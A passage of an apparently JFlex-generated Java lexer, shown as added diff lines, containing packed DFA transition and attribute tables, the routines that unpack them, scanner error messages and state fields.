"\1\2\1\0\20\2\2\0\1\2\1\0\1\2\1\52"+ + "\2\2\16\0\6\2\1\u0160\1\2\1\0\20\2\2\0"+ + "\1\2\1\0\1\2\1\52\2\2\16\0\7\2\1\u0161"+ + "\1\0\20\2\2\0\1\2\1\u0162\1\2\1\u0163\1\u0164"+ + "\1\2\16\0\10\2\1\0\20\2\2\0\1\2\1\0"+ + "\1\2\1\52\2\2\16\0\10\2\1\0\6\2\1\u0165"+ + "\11\2\2\0\1\2\1\0\1\2\1\52\2\2\16\0"+ + "\10\2\1\0\6\2\1\u0166\11\2\2\0\1\2\1\0"+ + "\1\2\1\52\2\2\16\0\10\2\1\0\6\2\1\u0167"+ + "\11\2\2\0\1\2\1\0\1\2\1\52\2\2\16\0"+ + "\10\2\1\0\1\u0168\17\2\2\0\1\2\1\0\1\2"+ + "\1\52\2\2\16\0\10\2\1\0\15\2\1\u0169\2\2"+ + "\2\0\1\2\1\0\1\2\1\52\2\2\16\0\3\2"+ + "\1\u016a\4\2\1\0\20\2\2\0\1\2\1\0\1\2"+ + "\1\52\2\2\16\0\10\2\1\0\1\2\1\u016b\16\2"+ + "\2\0\1\2\1\0\1\2\1\52\2\2\16\0\1\2"+ + "\1\u016c\6\2\1\0\20\2\2\0\1\2\1\0\1\2"+ + "\1\52\2\2\16\0\10\2\1\0\6\2\1\u016d\11\2"+ + "\2\0\1\2\1\0\1\2\1\52\2\2\16\0\10\2"+ + "\1\0\7\2\1\u016e\10\2\2\0\1\2\1\0\1\2"+ + "\1\52\2\2\16\0\10\2\1\0\6\2\1\u016f\11\2"+ + "\2\0\1\2\1\u0170\1\2\1\52\2\2\3\0\1\u0171"+ + "\12\0\10\2\1\0\20\2\5\0\1\u014e\53\0\1\2"+ + "\1\0\1\2\1\52\2\2\16\0\6\2\1\u0172\1\2"+ + "\1\0\20\2\2\0\1\2\1\0\1\2\1\52\2\2"+ + "\16\0\10\2\1\0\7\2\1\u0173\10\2\2\0\1\2"+ + "\1\0\1\2\1\52\2\2\16\0\6\2\1\u0174\1\2"+ + "\1\0\20\2\3\0\1\u0152\7\0\1\u0153\46\0\1\u0153"+ + "\10\0\1\u0175\45\0\1\u0154\7\0\1\u0155\45\0\1\2"+ + "\1\u0176\1\2\1\52\2\2\3\0\1\u0177\12\0\10\2"+ + "\1\0\20\2\3\0\1\u0157\7\0\1\u0158\45\0\1\2"+ + "\1\0\1\2\1\52\2\2\16\0\10\2\1\0\1\2"+ + "\1\u0178\16\2\2\0\1\2\1\0\1\2\1\52\2\2"+ + "\16\0\10\2\1\0\11\2\1\u0179\6\2\2\0\1\2"+ + "\1\0\1\2\1\52\2\2\16\0\4\2\1\u017a\3\2"+ + "\1\0\20\2\2\0\1\2\1\0\1\2\1\52\2\2"+ + "\16\0\10\2\1\0\2\2\1\u017b\15\2\3\0\1\u015d"+ + "\7\0\1\u015e\45\0\1\2\1\0\1\2\1\52\2\2"+ + "\16\0\10\2\1\0\7\2\1\u017c\10\2\2\0\1\2"+ + "\1\0\1\2\1\52\2\2\16\0\10\2\1\0\2\2"+ + "\1\u017d\15\2\2\0\1\2\1\0\1\2\1\52\2\2"+ + "\16\0\1\2\1\u017e\6\2\1\0\20\2\3\0\1\u0162"+ + "\1\0\1\u017f\53\0\1\127\1\0\1\127\1\u0180\2\127"+ + "\14\0\1\130\1\0\10\127\1\0\20\127\2\0\1\2"+ + "\1\0\1\2\1\52\2\2\16\0\4\2\1\u0181\3\2"+ + "\1\0\20\2\2\0\1\2\1\u0182\1\2\1\u0183\2\2"+ + "\16\0\10\2\1\0\20\2\2\0\1\2\1\0\1\2"+ + "\1\52\1\u0184\1\2\16\0\10\2\1\0\20\2\2\0"+ + "\1\2\1\u0185\1\2\1\u0186\1\u0187\1\2\16\0\10\2"+ + "\1\0\20\2\2\0\1\2\1\0\1\2\1\52\2\2"+ + "\16\0\10\2\1\0\13\2\1\u0188\4\2\2\0\1\2"+ + "\1\0\1\2\1\52\2\2\16\0\10\2\1\0\16\2"+ + "\1\u0189\1\2\2\0\1\2\1\0\1\2\1\52\2\2"+ + "\16\0\10\2\1\0\6\2\1\u018a\11\2\2\0\1\2"+ + "\1\0\1\2\1\52\2\2\16\0\10\2\1\0\6\2"+ + "\1\u018b\11\2\2\0\1\2\1\0\1\2\1\52\2\2"+ + "\16\0\10\2\1\0\2\2\1\u018c\15\2\2\0\1\2"+ + "\1\0\1\2\1\52\2\2\16\0\6\2\1\u018d\1\2"+ + "\1\0\20\2\2\0\1\2\1\u018e\1\2\1\52\1\u018f"+ + "\1\2\3\0\1\u0190\12\0\10\2\1\0\20\2\2\0"+ + "\1\2\1\u0191\1\2\1\52\2\2\3\0\1\u0192\12\0"+ + "\10\2\1\0\20\2\3\0\1\u0170\7\0\1\u0171\45\0"+ + "\1\2\1\0\1\2\1\52\2\2\16\0\10\2\1\0"+ + "\7\2\1\u0193\10\2\2\0\1\2\1\u0194\1\2\1\u0195"+ + "\1\u0196\1\2\16\0\10\2\1\0\20\2\2\0\1\2"+ + "\1\0\1\2\1\52\2\2\16\0\10\2\1\0\2\2"+ + "\1\u0197\15\2\3\0\1\u0176\7\0\1\u0177\45\0\1\2"+ + "\1\0\1\2\1\52\2\2\16\0\10\2\1\0\6\2"+ + "\1\u0198\11\2\2\0\1\2\1\u0199\1\2\1\52\2\2"+ + "\3\0\1\u019a\12\0\10\2\1\0\20\2\2\0\1\2"+ + "\1\0\1\2\1\52\2\2\16\0\7\2\1\u019b\1\0"+ + "\20\2\2\0\1\2\1\0\1\2\1\52\2\2\16\0"+ + "\3\2\1\u019c\4\2\1\0\20\2\2\0\1\2\1\u019d"+ + "\1\2\1\u019e\1\u019f\1\2\16\0\10\2\1\0\20\2"+ + "\2\0\1\2\1\u01a0\1\2\1\u01a1\1\u01a2\1\2\16\0"+ + "\10\2\1\0\20\2\2\0\1\2\1\u01a3\1\2\1\52"+ + "\2\2\3\0\1\u01a4\12\0\10\2\1\0\20\2\5\0"+ + "\1\u0180\53\0\1\2\1\0\1\2\1\52\2\2\16\0"+ + "\7\2\1\u01a5\1\0\20\2\3\0\1\u0182\1\0\1\u01a6"+ + "\53\0\1\127\1\0\1\127\1\u01a7\2\127\14\0\1\130"+ + "\1\0\10\127\1\0\20\127\2\0\1\2\1\0\1\2"+ + "\1\52\2\2\16\0\10\2\1\0\1\2\1\u01a8\16\2"+ + "\3\0\1\u0185\1\0\1\u01a9\53\0\1\127\1\0\1\127"+ + "\1\u01aa\2\127\14\0\1\130\1\0\10\127\1\0\20\127"+ + "\2\0\1\2\1\0\1\2\1\52\2\2\16\0\10\2"+ + "\1\0\5\2\1\u01ab\12\2\2\0\1\2\1\0\1\2"+ + "\1\52\1\u01ac\1\2\16\0\10\2\1\0\20\2\2\0"+ + "\1\2\1\0\1\2\1\52\2\2\16\0\5\2\1\u01ad"+ + "\2\2\1\0\20\2\2\0\1\2\1\u01ae\1\2\1\52"+ + "\1\u01af\1\2\3\0\1\u01b0\12\0\10\2\1\0\20\2"+ + "\2\0\1\2\1\u01b1\1\2\1\52\2\2\3\0\1\u01b2"+ + "\12\0\10\2\1\0\20\2\2\0\1\2\1\0\1\2"+ + "\1\52\2\2\16\0\10\2\1\0\11\2\1\u01b3\6\2"+ + "\2\0\1\2\1\0\1\2\1\52\2\2\16\0\10\2"+ + "\1\0\7\2\1\u01b4\10\2\3\0\1\u018e\7\0\1\u0190"+ + "\45\0\1\2\1\0\1\2\1\52\2\2\16\0\5\2"+ + "\1\u01b5\2\2\1\0\12\2\1\u01b6\5\2\3\0\1\u0191"+ + "\7\0\1\u0192\45\0\1\2\1\0\1\2\1\52\1\u01b7"+ + "\1\2\16\0\10\2\1\0\20\2\3\0\1\u0194\1\0"+ + "\1\u01b8\53\0\1\127\1\0\1\127\1\u01b9\2\127\14\0"+ + "\1\130\1\0\10\127\1\0\20\127\2\0\1\2\1\0"+ + "\1\2\1\52\2\2\16\0\10\2\1\0\1\2\1\u01ba"+ + "\16\2\2\0\1\2\1\0\1\2\1\52\2\2\16\0"+ + "\10\2\1\0\1\2\1\u01bb\16\2\2\0\1\2\1\u01bc"+ + "\1\2\1\52\2\2\3\0\1\u01bd\12\0\10\2\1\0"+ + "\20\2\3\0\1\u0199\7\0\1\u019a\45\0\1\2\1\0"+ + "\1\2\1\52\1\u01be\1\2\16\0\10\2\1\0\20\2"+ + "\2\0\1\2\1\0\1\2\1\52\2\2\16\0\10\2"+ + "\1\0\1\u01bf\17\2\3\0\1\u019d\1\0\1\u01c0\53\0"+ + "\1\127\1\0\1\127\1\u01c1\2\127\14\0\1\130\1\0"+ + "\10\127\1\0\20\127\2\0\1\2\1\0\1\2\1\52"+ + "\2\2\16\0\10\2\1\0\1\2\1\u01c2\16\2\3\0"+ + "\1\u01a0\1\0\1\u01c3\53\0\1\127\1\0\1\127\1\u01c4"+ + "\2\127\14\0\1\130\1\0\10\127\1\0\20\127\2\0"+ + "\1\2\1\0\1\2\1\52\2\2\16\0\4\2\1\u01c5"+ + "\3\2\1\0\20\2\3\0\1\u01a3\7\0\1\u01a4\45\0"+ + "\1\2\1\0\1\2\1\52\1\u01c6\1\2\16\0\10\2"+ + "\1\0\20\2\5\0\1\u01a7\53\0\1\2\1\0\1\2"+ + "\1\52\2\2\16\0\10\2\1\0\3\2\1\u01c7\14\2"+ + "\5\0\1\u01aa\53\0\1\2\1\0\1\2\1\52\2\2"+ + "\16\0\7\2\1\u01c8\1\0\20\2\2\0\1\2\1\0"+ + "\1\2\1\52\2\2\16\0\10\2\1\0\2\2\1\u01c9"+ + "\15\2\2\0\1\2\1\0\1\2\1\52\2\2\16\0"+ + "\3\2\1\u01ca\4\2\1\0\20\2\3\0\1\u01ae\7\0"+ + "\1\u01b0\45\0\1\2\1\0\1\2\1\52\2\2\16\0"+ + "\10\2\1\0\13\2\1\u01cb\4\2\3\0\1\u01b1\7\0"+ + "\1\u01b2\45\0\1\2\1\u01cc\1\2\1\52\2\2\3\0"+ + "\1\u01cd\12\0\10\2\1\0\20\2\2\0\1\2\1\0"+ + "\1\2\1\52\2\2\16\0\10\2\1\0\2\2\1\u01ce"+ + "\15\2\2\0\1\2\1\0\1\2\1\52\2\2\16\0"+ + "\10\2\1\0\13\2\1\u01cf\4\2\2\0\1\2\1\0"+ + "\1\2\1\52\2\2\16\0\10\2\1\0\6\2\1\u01d0"+ + "\11\2\2\0\1\2\1\0\1\2\1\52\2\2\16\0"+ + "\1\2\1\u01d1\6\2\1\0\20\2\5\0\1\u01b9\53\0"+ + "\1\2\1\0\1\2\1\52\2\2\16\0\1\2\1\u01d2"+ + "\6\2\1\0\20\2\2\0\1\2\1\0\1\2\1\52"+ + "\1\u01d3\1\2\16\0\10\2\1\0\20\2\3\0\1\u01bc"+ + "\7\0\1\u01bd\45\0\1\2\1\0\1\2\1\52\2\2"+ + "\16\0\10\2\1\0\5\2\1\u01d4\12\2\2\0\1\2"+ + "\1\0\1\2\1\52\1\u01d5\1\2\16\0\10\2\1\0"+ + "\20\2\5\0\1\u01c1\53\0\1\2\1\0\1\2\1\52"+ + "\2\2\16\0\1\2\1\u01d6\6\2\1\0\20\2\5\0"+ + "\1\u01c4\53\0\1\2\1\0\1\2\1\52\2\2\16\0"+ + "\7\2\1\u01d7\1\0\20\2\2\0\1\2\1\0\1\2"+ + "\1\52\2\2\16\0\10\2\1\0\1\2\1\u01d8\16\2"+ + "\2\0\1\2\1\0\1\2\1\52\2\2\16\0\5\2"+ + "\1\u01d9\2\2\1\0\20\2\2\0\1\2\1\0\1\2"+ + "\1\52\2\2\16\0\1\2\1\u01da\6\2\1\0\20\2"+ + "\2\0\1\2\1\0\1\2\1\52\2\2\16\0\4\2"+ + "\1\u01db\3\2\1\0\20\2\2\0\1\2\1\0\1\2"+ + "\1\52\2\2\16\0\10\2\1\0\6\2\1\u01dc\11\2"+ + "\2\0\1\2\1\0\1\2\1\52\2\2\16\0\7\2"+ + "\1\u01dd\1\0\20\2\3\0\1\u01cc\7\0\1\u01cd\45\0"+ + "\1\2\1\0\1\2\1\52\2\2\16\0\10\2\1\0"+ + "\11\2\1\u01de\6\2\2\0\1\2\1\0\1\2\1\52"+ + "\2\2\16\0\10\2\1\0\2\2\1\u01df\15\2\2\0"+ + "\1\2\1\0\1\2\1\52\2\2\16\0\10\2\1\0"+ + "\13\2\1\u01e0\4\2\2\0\1\2\1\0\1\2\1\52"+ + "\2\2\16\0\6\2\1\u01e1\1\2\1\0\20\2\2\0"+ + "\1\2\1\0\1\2\1\52\2\2\16\0\10\2\1\0"+ + "\12\2\1\u01e2\5\2\2\0\1\2\1\0\1\2\1\52"+ + "\2\2\16\0\10\2\1\0\2\2\1\u01e3\15\2\2\0"+ + "\1\2\1\0\1\2\1\52\2\2\16\0\7\2\1\u01e4"+ + "\1\0\20\2\2\0\1\2\1\0\1\2\1\52\2\2"+ + "\16\0\10\2\1\0\5\2\1\u01e5\12\2\2\0\1\2"+ + "\1\0\1\2\1\52\2\2\16\0\10\2\1\0\12\2"+ + "\1\u01e6\5\2\2\0\1\2\1\0\1\2\1\52\1\u01e7"+ + "\1\2\16\0\10\2\1\0\20\2\2\0\1\2\1\0"+ + "\1\2\1\52\2\2\16\0\10\2\1\0\6\2\1\u01e8"+ + "\11\2\2\0\1\2\1\0\1\2\1\52\2\2\16\0"+ + "\10\2\1\0\4\2\1\u01e9\13\2\2\0\1\2\1\u01ea"+ + "\1\2\1\52\1\u01eb\1\2\3\0\1\u01ec\12\0\10\2"+ + "\1\0\20\2\2\0\1\2\1\0\1\2\1\52\1\u01ed"+ + "\1\2\16\0\10\2\1\0\20\2\2\0\1\2\1\u01ee"+ + "\1\2\1\52\2\2\3\0\1\u01ef\12\0\10\2\1\0"+ + "\20\2\2\0\1\2\1\0\1\2\1\52\2\2\16\0"+ + "\4\2\1\u01f0\3\2\1\0\20\2\2\0\1\2\1\u01f1"+ + "\1\2\1\52\2\2\3\0\1\u01f2\12\0\10\2\1\0"+ + "\20\2\2\0\1\2\1\0\1\2\1\52\2\2\16\0"+ + "\10\2\1\0\6\2\1\u01f3\11\2\2\0\1\2\1\0"+ + "\1\2\1\52\2\2\16\0\4\2\1\u01f4\3\2\1\0"+ + "\20\2\2\0\1\2\1\0\1\2\1\52\2\2\16\0"+ + "\10\2\1\0\1\2\1\u01f5\16\2\2\0\1\2\1\0"+ + "\1\2\1\52\2\2\16\0\10\2\1\0\1\u01f6\17\2"+ + "\2\0\1\2\1\0\1\2\1\52\2\2\16\0\4\2"+ + "\1\u01f7\3\2\1\0\20\2\2\0\1\2\1\0\1\2"+ + "\1\52\2\2\16\0\1\2\1\u01f8\6\2\1\0\20\2"+ + "\2\0\1\2\1\0\1\2\1\52\2\2\16\0\7\2"+ + "\1\u01f9\1\0\20\2\2\0\1\2\1\0\1\2\1\52"+ + "\2\2\16\0\10\2\1\0\1\u01fa\17\2\2\0\1\2"+ + "\1\0\1\2\1\52\2\2\16\0\10\2\1\0\1\2"+ + "\1\u01fb\16\2\2\0\1\2\1\0\1\2\1\52\2\2"+ + "\16\0\10\2\1\0\1\u01fc\17\2\2\0\1\2\1\0"+ + "\1\2\1\52\2\2\16\0\10\2\1\0\6\2\1\u01fd"+ + "\11\2\3\0\1\u01ea\7\0\1\u01ec\45\0\1\2\1\0"+ + "\1\2\1\52\2\2\16\0\10\2\1\0\13\2\1\u01fe"+ + "\4\2\2\0\1\2\1\0\1\2\1\52\2\2\16\0"+ + "\4\2\1\u01ff\3\2\1\0\6\2\1\u0200\11\2\3\0"+ + "\1\u01ee\7\0\1\u01ef\45\0\1\2\1\0\1\2\1\52"+ + "\2\2\16\0\3\2\1\u0201\4\2\1\0\20\2\3\0"+ + "\1\u01f1\7\0\1\u01f2\45\0\1\2\1\0\1\2\1\52"+ + "\2\2\16\0\7\2\1\u0202\1\0\20\2\2\0\1\2"+ + "\1\0\1\2\1\52\2\2\16\0\7\2\1\u0203\1\0"+ + "\20\2\2\0\1\2\1\0\1\2\1\52\2\2\16\0"+ + "\10\2\1\0\2\2\1\u0204\15\2\2\0\1\2\1\0"+ + "\1\2\1\52\2\2\16\0\1\2\1\u0205\6\2\1\0"+ + "\20\2\2\0\1\2\1\0\1\2\1\52\1\u0206\1\2"+ + "\16\0\10\2\1\0\20\2\2\0\1\2\1\u0207\1\2"+ + "\1\52\2\2\3\0\1\u0208\12\0\10\2\1\0\20\2"+ + "\2\0\1\2\1\0\1\2\1\52\2\2\16\0\1\2"+ + "\1\u0209\6\2\1\0\20\2\2\0\1\2\1\0\1\2"+ + "\1\52\2\2\16\0\1\2\1\u020a\6\2\1\0\20\2"+ + "\2\0\1\2\1\0\1\2\1\52\2\2\16\0\10\2"+ + "\1\0\6\2\1\u020b\11\2\2\0\1\2\1\0\1\2"+ + "\1\52\2\2\16\0\10\2\1\0\13\2\1\u020c\4\2"+ + "\2\0\1\2\1\u020d\1\2\1\52\2\2\3\0\1\u020e"+ + "\12\0\10\2\1\0\20\2\2\0\1\2\1\0\1\2"+ + "\1\52\2\2\16\0\4\2\1\u020f\2\2\1\u0210\1\0"+ + "\20\2\2\0\1\2\1\0\1\2\1\52\2\2\16\0"+ + "\1\u0211\7\2\1\0\20\2\2\0\1\2\1\0\1\2"+ + "\1\52\2\2\16\0\2\2\1\u0212\5\2\1\0\20\2"+ + "\2\0\1\2\1\0\1\2\1\52\1\u0213\1\2\16\0"+ + "\10\2\1\0\20\2\2\0\1\2\1\u0214\1\2\1\52"+ + "\2\2\3\0\1\u0215\12\0\10\2\1\0\20\2\2\0"+ + "\1\2\1\0\1\2\1\52\2\2\16\0\10\2\1\0"+ + "\6\2\1\u0216\11\2\2\0\1\2\1\0\1\2\1\52"+ + "\2\2\16\0\7\2\1\u0217\1\0\20\2\2\0\1\2"+ + "\1\0\1\2\1\52\2\2\16\0\6\2\1\u0218\1\2"+ + "\1\0\20\2\2\0\1\2\1\0\1\2\1\52\2\2"+ + "\16\0\10\2\1\0\1\2\1\u0219\16\2\3\0\1\u0207"+ + "\7\0\1\u0208\45\0\1\2\1\u021a\1\2\1\52\2\2"+ + "\3\0\1\u021b\12\0\10\2\1\0\20\2\2\0\1\2"+ + "\1\0\1\2\1\52\2\2\16\0\6\2\1\u021c\1\2"+ + "\1\0\20\2\2\0\1\2\1\0\1\2\1\52\2\2"+ + "\16\0\10\2\1\0\1\u021d\17\2\2\0\1\2\1\u021e"+ + "\1\2\1\u021f\2\2\16\0\10\2\1\0\20\2\3\0"+ + "\1\u020d\7\0\1\u020e\45\0\1\2\1\0\1\2\1\52"+ + "\2\2\16\0\7\2\1\u0220\1\0\20\2\2\0\1\2"+ + "\1\0\1\2\1\52\2\2\16\0\4\2\1\u0221\3\2"+ + "\1\0\20\2\2\0\1\2\1\0\1\2\1\52\2\2"+ + "\16\0\1\u0222\7\2\1\0\20\2\2\0\1\2\1\0"+ + "\1\2\1\52\2\2\16\0\10\2\1\0\6\2\1\u0223"+ + "\11\2\2\0\1\2\1\0\1\2\1\52\2\2\16\0"+ + "\10\2\1\0\15\2\1\u0224\2\2\3\0\1\u0214\7\0"+ + "\1\u0215\45\0\1\2\1\u0225\1\2\1\52\2\2\3\0"+ + "\1\u0226\12\0\10\2\1\0\20\2\2\0\1\2\1\0"+ + "\1\2\1\52\2\2\16\0\10\2\1\0\5\2\1\u0227"+ + "\12\2\2\0\1\2\1\0\1\2\1\52\2\2\16\0"+ + "\10\2\1\0\7\2\1\u0228\10\2\2\0\1\2\1\0"+ + "\1\2\1\52\2\2\16\0\10\2\1\0\2\2\1\u0229"+ + "\15\2\3\0\1\u021a\7\0\1\u021b\45\0\1\2\1\0"+ + "\1\2\1\52\2\2\16\0\10\2\1\0\7\2\1\u022a"+ + "\10\2\2\0\1\2\1\0\1\2\1\52\2\2\16\0"+ + "\10\2\1\0\13\2\1\u022b\4\2\3\0\1\u021e\1\0"+ + "\1\u022c\53\0\1\127\1\0\1\127\1\u022d\2\127\14\0"+ + "\1\130\1\0\10\127\1\0\20\127\2\0\1\2\1\0"+ + "\1\2\1\52\1\u022e\1\2\16\0\10\2\1\0\20\2"+ + "\2\0\1\2\1\0\1\2\1\52\2\2\16\0\3\2"+ + "\1\u022f\4\2\1\0\20\2\2\0\1\2\1\u0230\1\2"+ + "\1\52\2\2\3\0\1\u0231\12\0\10\2\1\0\20\2"+ + "\2\0\1\2\1\0\1\2\1\52\2\2\16\0\6\2"+ + "\1\u0232\1\2\1\0\20\2\2\0\1\2\1\0\1\2"+ + "\1\52\2\2\16\0\10\2\1\0\16\2\1\u0233\1\2"+ + "\3\0\1\u0225\7\0\1\u0226\45\0\1\2\1\0\1\2"+ + "\1\52\2\2\16\0\10\2\1\0\4\2\1\u0234\13\2"+ + "\2\0\1\2\1\u0235\1\2\1\u0236\2\2\16\0\10\2"+ + "\1\0\20\2\2\0\1\2\1\0\1\2\1\52\2\2"+ + "\16\0\7\2\1\u0237\1\0\20\2\2\0\1\2\1\u0238"+ + "\1\2\1\u0239\2\2\16\0\10\2\1\0\20\2\2\0"+ + "\1\2\1\u023a\1\2\1\u023b\2\2\16\0\10\2\1\0"+ + "\20\2\5\0\1\u022d\53\0\1\2\1\0\1\2\1\52"+ + "\2\2\16\0\10\2\1\0\3\2\1\u023c\14\2\2\0"+ + "\1\2\1\0\1\2\1\52\1\u023d\1\2\16\0\10\2"+ + "\1\0\20\2\3\0\1\u0230\7\0\1\u0231\45\0\1\2"+ + "\1\u023e\1\2\1\52\2\2\3\0\1\u023f\12\0\10\2"+ + "\1\0\20\2\2\0\1\2\1\0\1\2\1\52\2\2"+ + "\16\0\5\2\1\u0240\2\2\1\0\20\2\2\0\1\2"+ + "\1\0\1\2\1\52\2\2\16\0\10\2\1\0\2\2"+ + "\1\u0241\15\2\3\0\1\u0235\1\0\1\u0242\53\0\1\127"+ + "\1\0\1\127\1\u0243\2\127\14\0\1\130\1\0\10\127"+ + "\1\0\20\127\2\0\1\2\1\0\1\2\1\52\2\2"+ + "\16\0\1\2\1\u0244\6\2\1\0\20\2\3\0\1\u0238"+ + "\1\0\1\u0245\53\0\1\127\1\0\1\127\1\u0246\2\127"+ + "\14\0\1\130\1\0\10\127\1\0\20\127\3\0\1\u023a"+ + "\1\0\1\u0247\53\0\1\127\1\0\1\127\1\u0248\2\127"+ + "\14\0\1\130\1\0\10\127\1\0\20\127\2\0\1\2"+ + "\1\0\1\2\1\52\2\2\16\0\7\2\1\u0249\1\0"+ + "\20\2\2\0\1\2\1\0\1\2\1\52\2\2\16\0"+ + "\10\2\1\0\15\2\1\u024a\2\2\3\0\1\u023e\7\0"+ + "\1\u023f\45\0\1\2\1\0\1\2\1\52\2\2\16\0"+ + "\3\2\1\u024b\4\2\1\0\20\2\2\0\1\2\1\0"+ + "\1\2\1\52\2\2\16\0\1\2\1\u024c\6\2\1\0"+ + "\20\2\5\0\1\u0243\53\0\1\2\1\0\1\2\1\52"+ + "\2\2\16\0\6\2\1\u024d\1\2\1\0\20\2\5\0"+ + "\1\u0246\56\0\1\u0248\53\0\1\2\1\0\1\2\1\52"+ + "\2\2\16\0\10\2\1\0\6\2\1\u024e\11\2\2\0"+ + "\1\2\1\0\1\2\1\52\2\2\16\0\10\2\1\0"+ + "\16\2\1\u024f\1\2\2\0\1\2\1\0\1\2\1\52"+ + "\2\2\16\0\10\2\1\0\6\2\1\u0250\11\2\2\0"+ + "\1\2\1\0\1\2\1\52\2\2\16\0\4\2\1\u0251"+ + "\3\2\1\0\20\2\2\0\1\2\1\0\1\2\1\52"+ + "\2\2\16\0\10\2\1\0\7\2\1\u0252\10\2\2\0"+ + "\1\2\1\0\1\2\1\52\2\2\16\0\10\2\1\0"+ + "\13\2\1\u0253\4\2\2\0\1\2\1\0\1\2\1\52"+ + "\2\2\16\0\5\2\1\u0254\2\2\1\0\20\2\2\0"+ + "\1\2\1\u0255\1\2\1\52\2\2\3\0\1\u0256\12\0"+ + "\10\2\1\0\20\2\2\0\1\2\1\0\1\2\1\52"+ + "\2\2\16\0\6\2\1\u0257\1\2\1\0\20\2\2\0"+ + "\1\2\1\u0258\1\2\1\52\2\2\3\0\1\u0259\12\0"+ + "\10\2\1\0\20\2\2\0\1\2\1\0\1\2\1\52"+ + "\2\2\16\0\1\2\1\u025a\6\2\1\0\20\2\2\0"+ + "\1\2\1\0\1\2\1\52\2\2\16\0\3\2\1\u025b"+ + "\4\2\1\0\20\2\3\0\1\u0255\7\0\1\u0256\45\0"+ + "\1\2\1\u025c\1\2\1\52\2\2\3\0\1\u025d\12\0"+ + "\10\2\1\0\20\2\3\0\1\u0258\7\0\1\u0259\45\0"+ + "\1\2\1\0\1\2\1\52\2\2\16\0\10\2\1\0"+ + "\17\2\1\u025e\2\0\1\2\1\0\1\2\1\52\2\2"+ + "\16\0\10\2\1\0\6\2\1\u025f\11\2\3\0\1\u025c"+ + "\7\0\1\u025d\46\0\1\u025d\10\0\1\u0260\42\0\1\u0261"+ + "\1\u0262\1\2\1\u0263\1\2\1\52\2\2\3\0\1\u0264"+ + "\12\0\10\2\1\0\20\2\2\0\1\2\1\u0265\1\2"+ + "\1\52\2\2\3\0\1\u0266\12\0\10\2\1\0\20\2"+ + "\2\0\55\u0261\1\u0267\1\u0261\56\u0262\1\u0268\1\0\1\u0263"+ + "\7\0\1\u0264\46\0\1\u0265\7\0\1\u0266\46\0\1\u0267"+ + "\10\0\1\u0269\45\0\1\u0268\10\0\1\u026a\44\0"; + + private static int [] zzUnpackTrans() { + int [] result = new int[25004]; + int offset = 0; + offset = zzUnpackTrans(ZZ_TRANS_PACKED_0, offset, result); + return result; + } + + private static int zzUnpackTrans(String packed, int offset, int [] result) { + int i = 0; /* index in packed string */ + int j = offset; /* index in unpacked array */ + int l = packed.length(); + while (i < l) { + int count = packed.charAt(i++); + int value = packed.charAt(i++); + value--; + do result[j++] = value; while (--count > 0); + } + return j; + } + + + /* error codes */ + private static final int ZZ_UNKNOWN_ERROR = 0; + private static final int ZZ_NO_MATCH = 1; + private static final int ZZ_PUSHBACK_2BIG = 2; + + /* error messages for the codes above */ + private static final String ZZ_ERROR_MSG[] = { + "Unkown internal scanner error", + "Error: could not match input", + "Error: pushback value was too large" + }; + + /** + * ZZ_ATTRIBUTE[aState] contains the attributes of state aState + */ + private static final int [] ZZ_ATTRIBUTE = zzUnpackAttribute(); + + private static final String ZZ_ATTRIBUTE_PACKED_0 = + "\1\0\3\1\2\11\1\1\7\11\2\1\1\11\1\1"+ + "\2\11\10\1\1\11\14\1\1\0\3\1\4\11\42\1"+ + "\1\0\1\11\1\0\1\1\1\11\62\1\1\0\1\11"+ + "\2\1\1\0\1\11\12\1\1\0\1\11\36\1\2\0"+ + "\1\1\1\0\1\11\6\1\1\0\1\11\1\0\1\11"+ + "\3\1\2\0\1\1\1\0\1\11\2\0\31\1\1\11"+ + "\3\1\1\0\1\1\1\11\6\1\1\0\1\11\1\1"+ + "\1\11\11\1\1\0\1\11\1\1\2\0\6\1\1\0"+ + "\1\11\1\0\1\11\1\0\1\11\6\1\1\0\1\11"+ + "\5\1\1\0\1\1\1\11\3\1\2\0\6\1\1\0"+ + "\1\11\1\1\1\0\1\11\25\1\1\0\1\11\3\1"+ + "\3\0\1\11\1\1\1\0\1\11\4\1\1\0\1\11"+ + "\3\1\2\0\14\1\1\0\1\11\3\1\1\11\1\0"+ + "\1\11\7\1\1\0\1\11\1\1\2\0\1\1\2\0"+ + "\7\1\1\0\1\1\1\11\1\0\1\11\1\1\2\0"+ + "\3\1\1\0\1\11\2\1\2\0\1\1\2\0\1\1"+ + "\1\0\1\11\1\1\1\0\1\11\1\1\1\0\1\11"+ + "\3\1\1\0\1\1\1\11\1\0\1\11\5\1\1\0"+ + "\1\11\2\1\1\0\1\11\2\1\1\0\1\11\1\1"+ + "\1\0\1\11\7\1\1\0\1\11\34\1\1\0\1\1"+ + "\1\11\1\1\1\0\1\11\1\1\1\0\1\11\24\1"+ + "\1\0\1\11\4\1\1\0\1\11\5\1\1\0\1\11"+ + "\4\1\1\0\1\11\2\1\2\0\5\1\1\0\1\11"+ + "\5\1\1\0\1\11\2\1\1\0\1\11\3\1\2\0"+ + "\1\1\4\0\2\1\1\0\1\11\2\1\1\0\1\11"+ + "\1\1\1\0\1\11\1\0\1\11\14\1\1\0\1\11"+ + "\1\1\1\0\1\11\2\1\2\0\2\1\1\11\3\0"+ + "\1\11\1\0\1\11\2\0\2\11"; + + private static int [] zzUnpackAttribute() { + int [] result = new int[618]; + int offset = 0; + offset = zzUnpackAttribute(ZZ_ATTRIBUTE_PACKED_0, offset, result); + return result; + } + + private static int zzUnpackAttribute(String packed, int offset, int [] result) { + int i = 0; /* index in packed string */ + int j = offset; /* index in unpacked array */ + int l = packed.length(); + while (i < l) { + int count = packed.charAt(i++); + int value = packed.charAt(i++); + do result[j++] = value; while (--count > 0); + } + return j; + } + + /** the input device */ + private java.io.Reader zzReader; + + /** the current state of the DFA */ + private int zzState; + + /** the current lexical state */ + private int zzLexicalState = YYINITIAL; + + /** this buffer contains the current text to be matched and is + the source of the yytext() string */ + private char zzBuffer[] = new char[ZZ_BUFFERSIZE]; + + /** the textposition at the last accepting state */ + private int zzMarkedPos; + + /** the current text position in the buffer */ + private int zzCurrentPos; + + /** startRead marks the beginning of the yytext() string in the buffer */ + private int zzStartRead; + + /** endRead marks the last character in the buffer, that has been read + from input */ + private int zzEndRead; + + /** number of newlines encountered up to the start of the matched text */ + private int yyline; + + /** the number of characters up to the start of the matched text */ + private int yychar; + + /** + * the number of characters from the last newline up to the start of the + * matched text + */ + private int yycolumn; + + /** + * zzAtBOL == true <=> the scanner is currently at the beginning of a line + */ + private boolean zzAtBOL = true; + + /** zzAtEOF == true <=> the scanner is at the 